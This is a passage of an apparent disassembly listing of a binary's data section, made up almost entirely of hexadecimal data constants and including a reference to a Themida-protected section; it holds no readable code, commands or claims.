		dd 0ADF9B494h, 287C9F66h, 0A6F53452h, 2B70727Ah, 1951F59Bh
		dd 0CB08D2FEh, 446F9BBDh, 0D9E4F10Ch, 294FE75Ah, 0D72C7B49h
		dd 0CB65245Bh, 9FF34E79h, 275FA6F6h, 4A65B709h,	0E7144000h
		dd 9192BDE3h, 0E16AF1B1h, 0AFEE0C32h, 0BDFC1A5Dh, 48622972h
		dd 655231Dh, 77479276h,	5D82ADFAh, 0CFDC80Bh, 0D53FC205h
		dd 0CAE2F1Eh, 286E0000h, 0EB3AF5D5h, 0BA07C2A2h, 89DA9575h
		dd 57A96444h, 0BB893414h, 8A6AADFFh, 5B3B84CFh,	290950A0h
		dd 0FBDB226Eh, 54769177h, 17E71F38h, 0B5DF6EAh,	0E12DE8C8h
		dd 2708BA9Ah, 0C4DFFDD3h, 0E75AECDBh, 4A13DA00h, 0E714D37Ch
		dd 0C30E4D75h, 6E99B37Ah, 40F13250h, 403C5FABh,	0EBh, 0F7115D0Eh
		dd 632A62A5h, 0E0FB2476h, 0E123CCEAh, 0FF47079h, 2B20718Dh
		dd 2BF4BBF3h, 0E123336Ah, 0E9FAD524h, 3DE09F63h, 5AA1ED12h
		dd 2C73BF7Ah, 18EE4265h, 0BD8DA8FAh, 2EE1232Eh,	53A5DD08h
		dd 2EE4E601h, 6187E123h, 0F8BF0656h, 0A5B2B3DEh, 8EE75A05h
		dd 43978868h, 61344F6Dh, 7AE16A83h, 0C66BDF71h,	526C337Ah
		dd 0A33E5937h, 0A9FB4D6Bh, 2D7DBC8Eh, 0DE092FE1h, 442467B9h
		dd 0C1092476h, 0A2E12D7Dh, 0DA2C517Ch, 0DD09CC97h, 1BD23FC2h
		dd 0BBB2Ch, 0E2357B00h,	0AFF84702h, 82C714CFh, 5196E7A2h
		dd 2164B671h, 0CAE9641h, 0DC9777BAh, 0AD684891h, 7B36165Dh
		dd 8408E82Fh, 3947839Eh, 0F724E71Fh, 0E4FB4A03h, 9A499561h
		dd 0F0DAF513h, 73E123E1h, 0ABFD224Dh, 81CD8868h, 11CD1C3Ah
		dd 61D0E8D4h, 0EF34818Ch, 5D18CAC4h, 6DACCA11h,	0C9AAD51Eh
		dd 6E5C77C9h, 0FDE123CCh, 3B87ACD7h, 4897D6F4h,	0F31E38FFh
		dd 0ACF13EF9h, 65ACF8E5h, 0ACE50785h, 49648258h, 0E75AEFB4h
		dd 0DAE092Fh, 0DE9ADF40h, 0E301D72Bh, 0E7C7BBC8h, 3B022816h
		dd 0D0EEC418h, 0D42593B5h, 5DACEB10h, 0E80EE914h, 0F83F8BCAh
		dd 0C00B4A18h, 6B96B077h, 0E8B3FA46h, 0CE7C053Fh, 0F51201B8h
		dd 0B500000Ah, 813C1C6Fh, 4E09E932h, 21DCBC01h,	0F0AB8BD0h
		dd 0D07B5B9Eh, 0B1F446F0h, 82CB16D1h, 5097E7A2h, 2269B570h
		dd 0BDD8BE42h, 0E71F3A8Dh, 5D3D315Eh, 0E003CA11h, 4B94E38Ch
		dd 1DAF513h, 62E75ADAh,	9CF1E3Ch, 0F1004Eh, 76546F8Dh
		dd 0F5E7140Fh, 0B9AAA4CFh, 56718F65h, 0E16D2CB9h, 0D5D59CC2h
		dd 2D626883h, 67B7E123h, 7E3F5920h, 622C2D58h, 57E1232Dh
		dd 47EA2B49h, 3936296Dh, 0A4h, 4E4F9CEBh, 6706973Ch, 0D327203Ch
		dd 0CCCEFC17h, 0A49DE123h, 2F491059h, 559CECF7h, 1E3C748Eh
		dd 0F8B701CFh, 325DAA81h, 33CCDFFAh, 81A7E75Bh,	0A7D42463h
		dd 0AB103A55h, 0ADD3E714h, 14AB84C6h, 95E67E7h,	0C40702A4h
		dd 5573ABE3h, 0B460B403h, 0E11A0799h, 1401D0FAh, 2F1B36E7h
		dd 0BCE71401h, 84AFD596h, 1A9F38Ah, 0FC48E714h,	0D5897B5h
		dd 0C5E3FDC4h, 1401A0AAh, 0F21D43E7h, 0A6ED3DF8h, 8F90DFDFh
		dd 0D7E884DFh
		dd 1358A9B4h, 9E2C1E8h,	0FE4D0000h, 0F7527759h,	0FA153349h
		dd 0E71437D0h, 26426D93h, 0DFFDD327h, 60BF87C4h, 203E64E7h
		dd 6E4E95E1h, 592067B3h, 0EE0CE236h, 1C03259Fh,	7A98D8C4h
		dd 1FA76B5Fh, 0A7D2F8E7h, 0D4E2546Fh, 0CA1CE15Ch, 23559BAFh
		dd 0F72248E1h, 99D8F61Ch, 0C505204Dh, 0A6E12355h, 0AD684880h
		dd 31193461h, 68E12355h, 0EE14D51Ch, 75998B6h, 0B8B899C4h
		dd 0D6E12A79h, 0BD18438Ah, 5A759369h, 0E75A7D81h, 3AF1BCE2h
		dd 0C339FBE2h, 9561D0Ch, 0D0160000h, 93E29D7Dh,	62AF6A4Ah
		dd 31823D1Dh, 0FF510CECh, 5331DCBCh, 321255A7h,	3E32C77h
		dd 0D1B1F848h, 0A383CA16h, 2C1E391Fh, 0BFE71F34h, 35819E92h
		dd 0C1E123CCh, 23EA3382h, 2F83DE09h, 0B7EF3686h, 0BFD07E99h
		dd 557BE760h, 0F047E837h, 73D19B3Ch, 85D11048h,	57A35E3Eh
		dd 61B3F210h, 196A571Eh, 90719CD4h, 2543196Dh, 66C9310Ah
		dd 410C32E1h, 3FC77210h, 0D94332E9h, 99000008h,	65200053h
		dd 32EDCD16h, 5C0A0E5h,	0D48F6FB4h, 0B45F3F82h,	95D82ACCh
		dd 66AFFAB5h, 347BCB86h, 64D9954h, 0A1BCA226h, 0E71F34A9h
		dd 5D190D3Ah, 6DACCA11h, 0CEAFDA21h, 874E95E1h,	41084D9Ah
		dd 0F9C00954h, 0B279C00Ch, 0E0FEBE98h, 0CC745671h, 0D1F7E123h
		dd 0D4F2CC99h, 92DB2665h, 88D45D67h, 0CCAC3628h, 7A000003h
		dd 0DFFDD327h, 60BF2EC4h, 941160E7h, 528B6D89h,	395F3A65h
		dd 4990DC1Bh, 2E499B69h, 0E71F581Ch, 597EA9CFh,	59A8C60Dh
		dd 179207ABh, 0C7A8D367h, 1F2EB0FEh, 98EF3EE7h,	0B9BE7137h
		dd 60B40F3Ah, 88516C8Ah, 0DBE166F3h, 485FEAB5h,	61183FC7h
		dd 81B72h, 4295DB00h, 0F58A762h, 0E227742Fh, 0B1F64702h
		dd 81C416D1h, 6C0EF6A1h, 3CF7D71Ah, 0DC8A8F1h, 0DB9676BDh
		dd 0E468488Fh, 35E7E3FEh, 5784E71Fh, 0E4115D63h, 23CC81C9h
		dd 82C718E1h, 0D7E0A1BBh, 0C7F3060Eh, 255D9520h, 0DE25715Eh
		dd 708E6817h, 296C022Fh, 31D7E36h, 0F1300000h, 0F23788A0h
		dd 81738FBAh, 0E123CC35h, 56744A9Eh, 60BF513Bh,	36547AE7h
		dd 8464ABF7h, 6F367DC9h, 422F84Ch, 662810E9h, 622D53E1h
		dd 3FC793EDh, 89D0BF76h, 49000007h, 15D0B003h, 0E29D7DC6h
		dd 0B5705095h, 843F1F64h, 640FEF32h, 4588DA9Ch,	165FAA65h
		dd 0E42B7B36h, 0B6FD4904h, 516C52D6h, 0E71F3679h, 5DC9BDEAh
		dd 303CA11h, 36ADC5B4h,	5F8AF576h, 0E0A7EE3Ah, 0B3FE3D31h
		dd 3213F6Ah, 29806FC2h,	2911136h, 81DF0000h, 0E123CC35h
		dd 50914A9Eh, 6920297Bh, 0C03759D9h, 3169678Dh,	0EDC0DBF9h
		dd 6E76063h, 3783C2E0h,	95510F0h, 84D8FBC2h, 81488FDBh
		dd 0BF112F67h, 0E278526Dh, 0C5EBE71Fh, 0E2BE8CA7h, 72DE71Fh
		dd 0CACADBDCh, 544E166h, 5A708BBAh, 9E128FAh, 0E7E4ABE3h
		dd 0B01F585Ah, 29548CC4h, 0D65D284Eh, 6F3FC793h, 6CAC9B8h
		dd 448A0000h, 75611F1h,	0D623DEBEh, 0A5F6B191h,	73C58060h
		dd 0DFA55030h, 0A686C91Bh, 7757A0EBh, 45256CBCh, 17F73E8Ah
		dd 0B892AD93h, 2BE71F36h, 0FB4A0AFEh, 0EE3CBB4Dh, 0AED3FE91h
		dd 67541B62h, 77B6D41Bh, 88D4DF28h, 35607A41h, 9FBDB354h
		dd 0D0B0F743h, 28BF0130h, 77F36h, 5B4D0000h, 1C3h, 0BC0B4A03h
		dd 1474873h, 62E123CCh,	0FF1A380Eh, 0E760BFB9h,	276684AAh
		dd 0F9B494DBh, 9F9F66ADh, 3E18324Dh, 0A5CBE71Fh, 22CB1F7Ah
		dd 34528AD3h, 66161419h, 0DEA9CFE1h, 3FC7865Dh,	25806F26h
		dd 0E5000006h, 0B16C4C9Fh, 7E391962h, 510CEC31h, 20DBBB00h
		dd 0AB8BCEh, 0E1247600h, 0B2FB4601h, 80C717D2h,	5299E5A0h
		dd 0ED08EE72h, 0E71F37DDh, 4A6D618Eh, 7893BE0Bh, 0E123CC52h
		dd 88B3EB11h, 9D01763h,	6B89D01Ch, 0CF96DB2Ch, 8A98AB5h
		dd 4C98F412h, 5572505h,	23CCE0EAh, 325D83E1h, 288D0928h
		dd 0EF3A7936h, 18417BA6h, 0F000000h, 10E5Bh, 4695E700h
		dd 0BA22359h, 0CA00E7BDh, 99E1238Ah, 812C4873h,	0E123CC4Ah
		dd 519C4599h, 0CCC30722h, 7AA0E123h, 0C1092442h, 0A2E123CCh
		dd 0B26447Ch, 0E760BF46h, 8030F948h, 0FBE261E9h, 0B1CFF5D0h
		dd 0C1DF2672h, 31485872h, 0EE1988DFh, 0A6ED39F4h, 54A0DFDFh
		dd 212C460Dh, 0ADC78ED5h, 0FDD32782h, 0AFA3C4DFh, 9CDBE166h
		dd 4DF0A4Fh, 3F0013DEh,	12C93FC7h, 53B23h, 62B5FB00h, 2F78C782h
		dd 247944Fh, 0D1166722h, 0A1E436F1h, 8C2E16C1h,	5C17F73Ah
		dd 2DE8C811h, 0FBB696DDh, 48868AFh, 30C7031Eh, 77A4E71Fh
		dd 0B9F84A83h, 0C3E256Eh, 0DFE123CCh, 1D698EB9h, 0D6220FD6h
		dd 3127C88Fh, 516BB713h, 0A787BF04h, 288D2A07h,	155636h
		dd 4A240000h, 0A095BF0Bh, 4CC899B6h, 7B955C94h,	292950h
		dd 4AD10000h, 4873BC0Bh, 0C990D723h, 0F5388AC9h, 1259A5CAh
		dd 37FCA5F4h, 21ED4FFDh, 8B6715F6h, 7EC5116Dh, 12E19Eh
		dd 5D890000h, 3A03CA11h, 0E123CC6Dh, 87E301B9h,	6214F43Bh
		dd 3CA115Dh, 98B68CE0h,	60BF4C7Dh, 0DBF91FE7h, 2909509Ch
		dd 14DB226Eh, 0A3F49DF1h, 0ED08265Eh, 0E15C4C49h, 9FDEFC22h
		dd 712C0C53h, 1717DE25h, 0CDA0AAC5h, 0ADF9E123h, 61ACA566h
		dd 0FF375118h, 4F2579D4h, 0C9E6E231h, 0DC3F005Fh, 9D5E79B1h
		dd 71E75A18h, 308F3722h, 374219AAh, 9C77A2E5h, 0D442AB76h
		dd 843B39FBh, 42795h, 4EA1E700h, 1B64B36Eh, 0EE33803Bh
		dd 0BD02530Eh, 8DD022DDh, 780202ADh, 4803E326h,	19D4B4FDh
		dd 0E7A282C9h, 0F074549Bh, 31DBEF0Ah, 5B88E71Fh, 0CA115D67h
		dd 9CE32FEAh, 559CE8D5h, 0D9F7ED8Eh, 0AEA317Dh,	288CC76Ah
		dd 53B936h, 27870000h, 0C4DFFDD3h, 0E75B1AA1h, 0A7F6143Ah
		dd 82AB9856h, 0F72F5AFAh, 412168B8h, 14F1DEAAh,	68AFFBE7h
		dd 0A28AFB4Ah, 38355C7Fh, 8637971Dh, 0F31E8C42h, 0A7EE3EF9h
		dd 55A1E0E0h, 99BCE30Eh, 48000003h, 0FBAB02F9h,	3E59A0ADh
		dd 0E714EF0Ch, 5681B9DFh, 1AD3273Ah, 0ED1F8F26h, 718FC7E9h
		dd 5AE4CD56h, 0B1789EE7h, 6A3178C4h, 30C2E0BCh,	7A1323DCh
		dd 0F83E64E6h, 0FA87A2C0h, 69E16D43h, 1E726343h, 0A9E12A75h
		dd 0DFEA398Bh, 0FBD6A890h, 51E2E30Eh, 0B5E75AD1h, 0D2024863h
		dd 0BBE1E714h, 0C88FB590h, 7F4689DBh, 53E503C3h, 0F00B29FFh
		dd 0E16DE063h, 3FFADA00h, 0F8E5ACF3h, 948565ACh, 314C6A40h
		dd 0E75ACA3Ch, 286DBEB7h, 0F03C4761h, 90C8E2A9h, 0FAB600C9h
		dd 1D2BE714h, 233E90FFh, 0E714FA27h, 69739EC4h,	3C5FBEC8h
		dd 7D4D68BAh, 0EEE714F2h, 58639DC8h, 31000000h,	8E1AD327h
		dd 345477A4h, 0C1D01530h, 15527C9h, 1A59ABC9h, 0A3BD84C9h
		dd 0BA606A85h, 0DD03E123h, 9AC4B1B2h, 0C9EFE75Ah, 0D8216CABh
		dd 0BB03CCADh, 2EE714A5h, 41930220h, 14A52426h,	76A1C7E7h
		dd 5FF5C56Ch, 0F1BB3Ch,	2E6D0000h, 0E3D097DEh, 6B854C93h
		dd 5DEC0833h, 5AACCA11h, 23CC0B3Fh, 0A7B2D8E1h,	344E155Ah
		dd 0E93B2809h, 0CCA5A5C0h, 2046E123h, 0E83421E8h, 0A1EDDAA1h
		dd 92E37A5Ah, 7FE123D0h, 8FCEEC33h, 0D5CFFA3Dh,	0C087CE1Ah
		dd 5573499Dh, 2E73C403h, 0F5C90203h, 749AE75Ah,	794FA394h
		dd 57E5405Bh, 0C8EEE16Ah, 2B3D5BAAh, 1325DB2Ch,	0AC73B608h
		dd 0F02F6792h, 0F138889Eh, 0B605102Ah, 548CA66Dh, 1B67A674h
		dd 0D5F30DD4h, 2D1290BAh, 22D53E1h, 7D488BDDh, 3FC2B31Eh
		dd 0F94130E7h, 0B9000001h, 85402073h, 520DED36h, 25E0C005h
		dd 0F4AF8FD4h, 0D47F5FA2h, 0B5F84AECh, 86CF1AD5h, 549BEBA6h
		dd 266DB974h, 0C1DCC246h, 0E71F3389h, 5D392D5Ah, 58AAC80Bh
		dd 23CC0D3Dh, 8DB8DEE1h, 458CD893h, 559CE827h, 2362302Ah
		dd 0AEC88FD8h, 470E51A3h, 27E6022Dh, 0A0DFFDD3h, 2D470E53h
		dd 0C6AFCA02h, 0EDE75AECh, 196AA9C7h, 0C8F30DD4h, 7E98E7E7h
		dd 9F056326h, 0E3ABACD7h, 0D6E714F8h, 0DA1D6FAEh, 327391AFh
		dd 3C5FC0FFh, 0BB81h, 115D4F00h, 0C41603CAh, 38146381h
		dd 17252133h, 2AF3D4FFh, 0E1231C55h, 5FA6F231h,	4D7D9898h
		dd 1EE12303h, 7095C0F8h, 70BFDD24h, 0D4BB3AC6h,	3FD28D3h
		dd 97B5FC48h, 0C99D7048h, 0E30E98D2h, 0B58BDF02h, 0CA4F7C97h
		dd 80BFE75Ah, 0C26ED34h, 0E006E1h, 0C7E5BB0Fh, 6A6C8EACh
		dd 19375DE1h, 654588DAh, 0C50C5897h, 94B9E4FEh,	0CF34FF42h
		dd 0A83FC2D5h, 0F202F1h, 6CB20000h, 2F7E3919h, 0FE4B06E6h
		dd 0CD1ED9B9h, 9BEDA888h, 0F7CD7858h, 0CEAEF143h, 9F7FC813h
		dd 6D4D94E4h, 3F1F66B2h, 90BAD5BBh, 53E71ECCh, 0FB4A3226h
		dd 4AAF62FAh, 5277A249h, 22DDBD00h, 0FDAF8FD6h,	3CA115Dh
		dd 0A383CA16h, 6A885EB2h, 6F89D918h, 0DBA2DA1Dh, 0BC9596C1h
		dd 2FE760BFh, 9554209h,	0DB27E2C2h, 0DA1D6FAEh,	1F3FD7F3h
		dd 366E94E7h, 0C747A66Fh, 0BD994804h, 0C3DE309Fh, 8A0B5887h
		dd 0D7206B64h, 0FC45949Fh, 0CBF01B35h, 9D58387Fh, 43430A51h
		dd 0B1D8A2F1h, 1EA4C2D1h, 0BAC1337h, 7FAAD08Ah,	0A6C4095Ah
		dd 0AC113954h, 0ACD28A0Bh, 24E4A081h, 0C589706h, 0E3FEFEC5h
		dd 8A0BACE7h, 0FB265E84h, 25438AD6h, 27529BE6h,	0DF26722Dh
		dd 21D6FC1h, 8A0BACC8h,	0BC8E759Bh, 2F8A0BACh, 6BB2FE09h
		dd 7E5F8AA4h, 38Fh, 36283700h, 0FDC4175Dh, 0B67DC410h
		dd 6B3279C9h, 23EA337Eh, 0DAA1E436h, 91589BEDh,	470E53A4h
		dd 1C80D5Ah, 0B57CC514h, 523468C3h, 3C890000h, 0E6895624h
		dd 4C681h, 0EE830000h, 24348704h, 242C895Ch, 51D568h, 24148900h
		dd 609DBF57h, 0E78115BDh, 3A525778h, 6CC7EF81h,	0E7C11257h
		dd 0FF78103h, 4F08F448h, 211EF781h, 0FD89E30Eh,	81243C8Bh
		dd 4C4h, 148B5400h, 4C48324h, 6CD768h, 242C8900h, 0FF08428Fh
		dd 835A2434h, 2C8B04C4h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 7C18E95Ch, 3C23FFFAh, 3D01C2B8h, 0FFC50306h
		dd 854BCE0h, 723CD102h,	5B636F18h, 7D76505Dh, 71517809h
		dd 7541E037h, 0AAE93072h, 44FD3450h, 0BF3A650h,	3FFD961Ah
		dd 6F5CE4Fh, 0EA02E15Dh, 65DBE703h, 0E9C122Bh, 2007280Dh
		dd 81249548h, 54BB6357h, 6ED15350h, 0D46D3F73h,	29A13760h
		db 29h
byte_59CEED	db 2 dup(8Dh), 2Fh	; DATA XREF: Themida_:0053EBC4o
		dd 0F063D03h, 8D89F2BFh, 6371875h, 6830Fh, 85890000h, 6371F75h
		dd 119585C7h, 5EC80637h, 8A0F0000h, 3, 0C7D7B70Fh, 370F8185h
		dd 6, 0DE900h, 0DED90000h, 9E585ACBh, 0E20A1C9Dh, 8BD465BDh
		dd 3708A195h, 61B5FF06h, 6A063729h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0E16AC351h
		dd 958953EBh, 63707A5h,	3595295Bh, 0FF063726h, 37129195h
		dd 6ADE8B06h, 1995FF00h, 8B063732h, 8B2EEBC0h, 0EA64D265h
		dd 9B11AD14h, 0F40F5861h, 0A9D228E9h, 97A1D915h, 37C740D3h
		dd 0D8B560CCh, 0FF87F732h, 0DC1D4981h, 0F233235Ch, 6EC67886h
		dd 17DE96Eh, 5D600000h,	16C4FFEh, 0D1D76FC2h, 41EFB4CAh
		dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h,	0E495BCD7h
		dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h
		dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h
		dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch
		dd 0ACE5h, 1, 42h dup(0)
		dd 0F8000000h, 0A43736D1h, 0D7D3C20Dh, 0E90E49D1h, 0FABh
		dd 3D06BA68h, 449FE906h, 0A668FFFBh, 0E9063D07h, 0FFFB4495h
		dd 3D08F468h, 448BE906h, 0A168FFFBh, 0E9063D09h, 0FFFB4481h
		dd 3D0B1E68h, 4477E906h, 0E668FFFBh, 0E9063D0Bh, 0FFFB446Dh
		dd 3D0C7C68h, 4463E906h, 0A68FFFBh, 0E9063D0Dh,	0FFFB4459h
		dd 3D0DFF68h, 444FE906h, 8E68FFFBh, 0E9063D0Eh,	0FFFB4445h
		dd 3D0F5D68h, 443BE906h, 1C68FFFBh, 0E9063D10h,	0FFFB4431h
		dd 3D10B368h, 4427E906h, 0F68FFFBh, 0E9063D12h,	0FFFB441Dh
		dd 3D131268h, 4413E906h, 72ABFFFBh, 0A4FC548Dh,	0DE48A0D9h
		dd 0B92EA23h, 0BEE13972h, 919684BDh, 346D0E91h,	84BD40DCh
		dd 0D10AF72Ch, 1F582579h, 609AA8B6h, 6B7BA980h,	0F42A62BDh
		dd 3569E109h, 0E684ED27h, 8479A981h, 0F9FBC8Fh,	6EA4EE8Bh
		dd 0B8254D28h, 0DF2F1E9Bh, 0D0E5F33Dh, 3E881D9Dh, 0BEE69308h
		dd 28FB3451h, 46548800h, 7BAF6C0Ch, 0C72F4C1Fh,	7BAF6B89h
		dd 53CA005Ah, 39345EAAh, 49BCE61Ch, 0EFB2C591h,	35C3h
		dd 7B936A00h, 0E4414F99h, 0A2881DA4h, 304D306Ch, 0F88517F7h
		dd 13F91B9h, 0D27BAF66h, 7B33D2D0h, 0ADEFB2C3h,	0D1h, 9FD9E71Bh
		dd 0AA7BAF59h, 68158BD7h, 0F42AF64Bh, 1589BF09h, 67DF4B68h
		dd 84EB2533h, 2BFE81E6h, 5A1B7E0Eh, 1284BA32h, 0F489135Fh
		dd 0B2425FCCh, 2D5C8F6Ch, 717CBC0Fh, 0A900A32h,	0AAE0366Fh
		dd 46C8974h, 81E5BC98h,	568F6AB0h, 0B5DD98FEh, 5EA86AA4h
		dd 0D2AFF42Ah, 0DE830AAh, 1C3978E5h, 1CD6B7B4h,	0BCF5C888h
		dd 89D341CDh, 0E864497Bh, 27714481h, 94CDAEF1h,	0C2FC0A3Eh
		dd 0CD81D821h, 0CA4DDDFAh, 37BEDA29h, 809C0CF7h, 0D3E45h
		dd 522F7000h, 9E5FC119h, 0E8850D65h, 37C457AFh,	8273A6FEh
		dd 54CC5B49h, 9FF730CDh, 0EF47807Dh, 3C94CDAAh,	79E21BE6h
		dd 7F235D6Bh, 88367BA9h, 6F72A2Dh, 611C86BCh, 32AFCC39h
		dd 80B944DAh, 997B9363h, 0A4E4414Fh, 6CA2881Dh,	1FDC3F31h
		dd 193B9FE0h, 60F0ABEEh, 0F42A0A43h, 50A2CA09h,	7BAF2C12h
		dd 4C1E1E3h, 52859FD9h,	0E9063451h, 0B2CCE39Bh,	0B715EFh
		dd 2ABC0000h, 67E109F4h, 0F02A3830h, 0A481E684h, 0BC8F8479h
		dd 9703557Dh, 0AF81E689h, 0E448E6Bh, 54C1E984h,	3C62BA37h
		dd 80EE2836h, 76AA81E6h, 0FDF25F87h, 4BC3EB2Ah,	0C8F08D15h
		dd 0F7173E5Bh, 71A7DB25h, 0C72F4C21h, 881D9BCAh, 0E2D10ADDh
		dd 96A4EE2Ch, 81E91453h, 5BCCBF94h, 50CE9B7Fh, 0E91C711h
		dd 45DC346Dh, 504569B8h, 0F7130CF7h, 0C52BCh, 661B8400h
		dd 0B243D52Dh, 0FCF12179h, 4B306BC3h, 9667BA12h, 68B86F5Dh
		dd 0B30B4431h, 35B9469h, 50A8E19Eh, 8DF62FCAh, 7E37717Fh
		dd 94427BA9h, 6F72A39h,	472175CDh, 0CF0917DFh, 0DA81E684h
		dd 5089C807h, 9F42A33h,	393367E1h, 0C5FF0DE5h, 0D881E684h
		dd 319EC605h, 44CAB9F2h, 0DD7E8CD6h, 0CE881D8Dh, 2B7BB1FBh
		dd 0A4C12E56h, 7CA8E638h, 77797BAFh, 0DB22DA2Bh, 6854EFB2h
		dd 0FB000000h, 4F997B93h, 9FD9E71Bh, 0AA81E684h, 0A152BAD7h
		dd 0AA881DAAh, 1F5DAFD7h, 0F07BAF60h, 9951B4EEh, 0CBEFB2B9h
		dd 3Fh,	997B9372h, 4F01B4Fh, 153BB798h,	8578A4F0h, 6BD3F05Dh
		dd 881D7E8Ah, 0B944DA10h, 2C492A6Dh, 0A6F820F3h, 7BAF6A68h
		dd 5A6B3739h, 0A675F32Fh, 537011BBh, 0B2AA4D05h, 0C7FEFh
		dd 2C260000h, 0B9D6A7F6h, 84D68h, 7B93F300h, 2C6B168Ch
		dd 8974ACE2h, 6AD0DE6Ch, 7D882389h, 4439699Fh, 0A980E620h
		dd 0E726F97Bh, 4835679Dh, 33679D2Bh, 61B50D46h,	26651287h
		dd 0F321EDFEh, 84C49BA9h, 380B81E6h, 9762B8EEh,	0E590065Eh
		dd 0A362ACBDh, 0F53F7E73h, 1D951EE7h, 0AFFED188h, 131FE4FDh
		dd 480BBD7h, 3600000Bh,	87DF18E5h, 0D32B6411h, 1D75AE43h
		dd 6CC4FDFEh, 210F4835h, 0FAFB1E06h, 4A3369C1h,	9764B911h
		dd 0E590065Eh, 273543ACh, 7BA97CEDh, 52F75200h,	81E68614h
		dd 0FD47D539h, 238779EFh, 1B81B788h, 0B0CD3A62h, 0E961A277h
		dd 0A3E49909h, 1453799Eh, 0F022ECDBh, 0B92A98A6h, 0EABD81E5h
		dd 49346AA0h, 9762B810h, 62B05E6Fh, 0A2B0E418h,	81E5B268h
		dd 4D879573h, 6081E5B2h, 0C9314E8Dh, 8822B4FAh,	0A2D822F5h
		dd 0F048817Ch, 55A7CFAAh, 0FBA8B519h, 0F842D03Eh, 0DFE221EAh
		dd 0B2EACA01h, 0F736A3CBh, 0F3D35AA8h, 316C888Ch, 0A57h
		dd 326B1089h, 7EB746DAh, 0C801FC26h, 17502D70h,	629B58BFh
		dd 346BB374h, 66B60E47h, 91065E97h, 0CF53ABE4h,	8290F932h
		dd 0A97C3A74h, 3C97457Bh, 49977B93h, 0F286FC8Eh, 0E40CE92Eh
		dd 0AFF93877h, 23322BA1h, 0FF356988h, 80BADE9Bh, 8B7BA930h
		dd 8D629BB8h, 2B4A2E97h, 57A1E048h, 0C700FD21h,	264E2B6Fh
		dd 0F719F915h, 0A9A3AA50h, 0E5053F4Dh, 45187BA8h, 6BF9C506h
		dd 28F673ACh, 27919FE9h, 5D81E635h, 0A2F6F027h,	0FF3EABD3h
		dd 8CD6A9E2h, 0F42AC056h, 3EABD3AEh, 0E62DE01Ah, 0D918EB81h
		dd 27D248A0h, 8572A7DDh, 67D3F05Dh, 105AB856h, 0B010FDE5h
		dd 5DA930F4h, 8F1D3A3Bh, 236FDA81h, 2E3C7088h, 7BA96AF4h
		dd 0DE173407h, 108BC10Bh, 8AC04E6Bh, 16505E14h,	297BA96Bh
		dd 86DE1756h, 0E71B6510h, 69916AB1h, 6A9ED8FCh,	0DEB17BA9h
		dd 0A7DD55C1h, 454D8675h, 0E815900h, 1D3AA7CFh,	0A8BB77B5h
		dd 93729C7Bh, 0EA347308h, 678F62B4h, 1B4FDDFAh,	0BB9FD9E7h
		dd 0D7AA7BA8h, 0BFA052BAh, 0D8AB81E5h, 2AC2588Eh, 75E20AF3h
		dd 0AAB8EC36h, 81E5BB70h, 0E8BA87Bh, 6D9560B6h,	0CE53B25Ch
		dd 0D7FFF224h, 0A2EC2B6Ah, 22BF2694h, 22306488h, 7BA8BBE8h
		dd 0CA0320F3h, 2157CFF7h, 0B8DFFCF1h, 78A3C256h, 0F7774256h
		dd 3606EB8h, 0D481DFD5h, 0C75EB201h, 607C0CF3h,	8DA25h
		dd 0EE930C00h, 3A3B5DB5h, 8479A901h, 0D3A8F34Bh, 1EDF429Ah
		dd 0F030F7E5h, 3B93CCA9h, 8BE31CE1h, 0D8306916h, 157EB742h
		dd 79BFF907h, 1CCA7BA9h, 9F42AC1h, 3B3367E1h, 0E684F32Dh
		dd 0E7330681h, 5B83C2BFh, 0D4EFB337h, 7B77A64Eh, 0E685336Dh
		dd 34734681h, 0F380ABF5h, 0D310A69Eh, 0E72ACBAh, 0AA7D81E6h
		dd 0BBD14E6Bh, 0F5E96C03h, 0E35h, 0B869DC00h, 0BB000004h
		dd 3B631085h, 3E5CB1CEh, 77A5693Bh, 0A79A1F2Dh,	7A4D881Dh
		dd 33FBE36Fh, 1AF44EBBh, 9BA0AEF8h, 0F7B2E0B5h,	7AA25BC1h
		dd 0E4B7F00Dh, 0B163ABBCh, 27255967h, 5528B515h, 0B441D50Bh
		dd 14E9346Ah, 0FC227AF7h, 7854B201h, 5672E21Ah,	8121Bh
		dd 26DB4400h, 720395EDh, 0BCB1E139h, 0BF02B83h,	56277AD2h
		dd 28F82F1Dh, 73CB04F1h, 0C31B5429h, 1068A15Eh,	4DB6EF8Ah
		dd 79F7313Fh, 54027BA9h, 0FCF42AF9h, 45B2DAA7h,	1086BC06h
		dd 64DC4865h, 0A61EF339h, 1F3C3387h, 326B088Fh,	0FF49CB43h
		dd 237251F1h, 3F895C88h, 0AFE89509h, 1FE2359h, 33CE54E4h
		dd 0F914FA0Bh, 35AFD7A4h, 98D716E7h, 73D6404Eh,	0F6C981E6h
		dd 552076ACh, 0A15EC41Ch, 546778B4h, 0A2CA09F2h, 0B504F128h
		dd 0CE92E2Fh, 7C5691ADh, 0AE000007h, 0FF57906Dh, 4BA3DC99h
		dd 95ED26DBh, 0E43C7506h, 9987C0BDh, 7203968Eh,	0C2BBE139h
		dd 0FEC3189h, 5D187ED6h, 9FADBB24h, 7BA97965h, 936FCA78h
		dd 1B4F997Bh, 0E684D30Dh, 9606E681h, 0FD8BA8E7h, 238885EFh
		dd 0FB451888h, 0F9751C5h, 0E01A2872h, 0EB7BA981h, 4AA0D918h
		dd 9AD4E216h, 0A57BA981h, 8174AED2h, 0B4877BA9h, 0E6930797h
		dd 171B46BEh, 0FA39CAEEh, 64AAD1EEh, 3D5E6CB6h,	2E81E040h
		dd 30CE0C5Bh, 0B0CC0CF3h, 6EE75h, 2FF2000h, 4E2F71C9h
		dd 9855BD15h, 0E794075Fh, 32C356AEh, 41C0BF9h, 4FA7E09Dh
		dd 9FF730CDh, 0EC447D7Ah, 2992CBB6h, 77D30D1Bh,	38E67BA9h
		dd 9F42ADDh, 639794BFh,	9EF93341h, 310481E5h, 0DE5629F0h
		dd 47DB55C1h, 0EA6E92BAh, 0EA970BB8h, 48356AA0h, 449DB120h
		dd 7C36C750h, 8DA3203Dh, 0F5E9CBD5h, 1807h, 0D469AE00h
		dd 0BB000002h, 0CCD11990h, 0FD0B7D61h, 81E5B7C3h, 0A7C403D6h
